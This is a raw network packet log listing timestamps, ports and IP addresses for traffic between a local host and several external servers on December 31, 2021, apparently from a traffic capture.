Dec 31, 2021 19:12:58.802967072 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.803016901 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804166079 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804241896 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804245949 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804265022 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804303885 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804323912 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804336071 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804352999 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804403067 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804425001 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804481983 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804496050 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804517984 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804579020 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804594994 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804615021 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804676056 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804687977 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804708004 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804770947 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804785013 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804832935 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804908991 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.804923058 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.804955006 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805031061 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805061102 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805078983 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805103064 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805104971 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805179119 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805196047 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805210114 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805257082 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805259943 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805272102 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805282116 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805346012 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805352926 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805371046 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805417061 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805438995 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805455923 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805469990 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805511951 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805802107 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805871010 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805893898 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805901051 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805922985 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.805965900 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.805984974 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807264090 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807303905 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807365894 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807384014 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807396889 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807430029 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807499886 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807502985 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807570934 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807581902 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807602882 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807657957 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807670116 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807738066 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807780027 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807796955 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807815075 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807876110 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807879925 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807904959 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807936907 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.807951927 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807965994 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.807976961 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.808001995 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.808015108 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.808048010 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.808053970 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.808073044 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.808087111 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.808126926 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.808159113 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820172071 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820221901 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820307016 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820353985 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820379019 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820386887 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820424080 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820493937 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820514917 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820528984 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820535898 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820565939 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820578098 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820597887 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820647001 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820652962 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820683956 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820694923 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820741892 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820774078 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820868969 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820900917 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820951939 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.820965052 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.820980072 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.821032047 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.825437069 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.825486898 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.825550079 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.825579882 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.825598955 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.825650930 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.825802088 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.825839996 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.825900078 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.825918913 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.825937986 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.826186895 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.826222897 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.826286077 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.826309919 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.826327085 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.826380014 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.826581955 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.826617002 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.826687098 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.826704025 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.826740026 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.826756001 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.827045918 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.827083111 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.827132940 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.827148914 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.827166080 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.827208996 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.827465057 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.827564001 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.828190088 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.828279018 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.828449965 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.828485966 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.829003096 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.829037905 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.829068899 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.829153061 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.829170942 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.829196930 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.829258919 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.830353022 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.830385923 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.830440998 CET	49820	443	192.168.2.3	162.159.133.233
Dec 31, 2021 19:12:58.830457926 CET	443	49820	162.159.133.233	192.168.2.3
Dec 31, 2021 19:12:58.844156981 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.418143034 CET	49821	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.466655016 CET	80	49821	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.466753960 CET	49821	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.466905117 CET	49821	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.467323065 CET	49821	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.515420914 CET	80	49821	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.515708923 CET	80	49821	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.539951086 CET	80	49821	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.539983988 CET	80	49821	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.540064096 CET	49821	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.540220022 CET	49821	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.567039967 CET	49822	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.588757992 CET	80	49821	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.615747929 CET	80	49822	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.615888119 CET	49822	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.615967989 CET	49822	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.616020918 CET	49822	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.665000916 CET	80	49822	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.692143917 CET	80	49822	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.693540096 CET	49822	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.693770885 CET	49822	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.722100973 CET	49823	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.742549896 CET	80	49822	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.770724058 CET	80	49823	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.770843983 CET	49823	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.770937920 CET	49823	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.770946026 CET	49823	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.819529057 CET	80	49823	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.845197916 CET	80	49823	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:00.845500946 CET	49823	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.845531940 CET	49823	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:00.852200031 CET	49824	80	192.168.2.3	188.166.28.199
Dec 31, 2021 19:13:00.894253969 CET	80	49823	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:01.510073900 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:13:01.510210037 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:13:01.510222912 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:13:01.570363045 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:13:03.855552912 CET	49824	80	192.168.2.3	188.166.28.199
Dec 31, 2021 19:13:07.877322912 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:07.925884962 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:07.928777933 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:07.929202080 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:07.929338932 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:07.977615118 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:07.977701902 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:07.977729082 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:07.977763891 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:07.977794886 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:07.977859020 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:07.977884054 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:07.977963924 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:07.978096008 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.026278019 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.026294947 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.026303053 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.026314974 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.026436090 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.026503086 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.026513100 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.026525021 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.026532888 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.026613951 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.026633978 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.026782036 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.075081110 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.075112104 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.075196028 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.075207949 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.075254917 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.075355053 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.075388908 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.075469017 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.075676918 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.075704098 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.075838089 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.123765945 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.124001026 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.124048948 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.770294905 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:08.770715952 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.771034002 CET	49826	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:08.819379091 CET	80	49826	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:09.879528999 CET	49824	80	192.168.2.3	188.166.28.199
Dec 31, 2021 19:13:22.224091053 CET	49835	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.272872925 CET	80	49835	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.273050070 CET	49835	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.273097992 CET	49835	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.275616884 CET	49835	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.321927071 CET	80	49835	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.324115038 CET	80	49835	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.350788116 CET	80	49835	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.351370096 CET	49835	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.351839066 CET	49835	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.378451109 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.400290966 CET	80	49835	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.427037954 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.427179098 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.427601099 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.483762026 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483783960 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483798981 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483814001 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483830929 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483845949 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483861923 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483877897 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483889103 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483901024 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.483910084 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.483958960 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.483966112 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.483969927 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532495975 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532525063 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532543898 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532565117 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532586098 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532603979 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532624960 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532644987 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532649040 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532665014 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532685995 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532685995 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532692909 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532697916 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532706022 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532726049 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532746077 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532757044 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532764912 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532773018 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532784939 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532804012 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532808065 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532824039 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532844067 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532856941 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532881021 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532896996 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.532900095 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.532942057 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.581478119 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581526041 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581567049 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581587076 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.581604958 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581645012 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581685066 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581691980 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.581721067 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581753969 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.581759930 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581799030 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581859112 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.581877947 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581918001 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.581923962 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.581960917 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582010031 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582048893 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582063913 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582092047 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582102060 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582144022 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582184076 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582220078 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582232952 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582258940 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582267046 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582297087 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582334042 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582346916 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582374096 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582412004 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582452059 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582459927 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582492113 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582532883 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.582565069 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.582571030 CET	80	49836	31.28.27.130	192.168.2.3
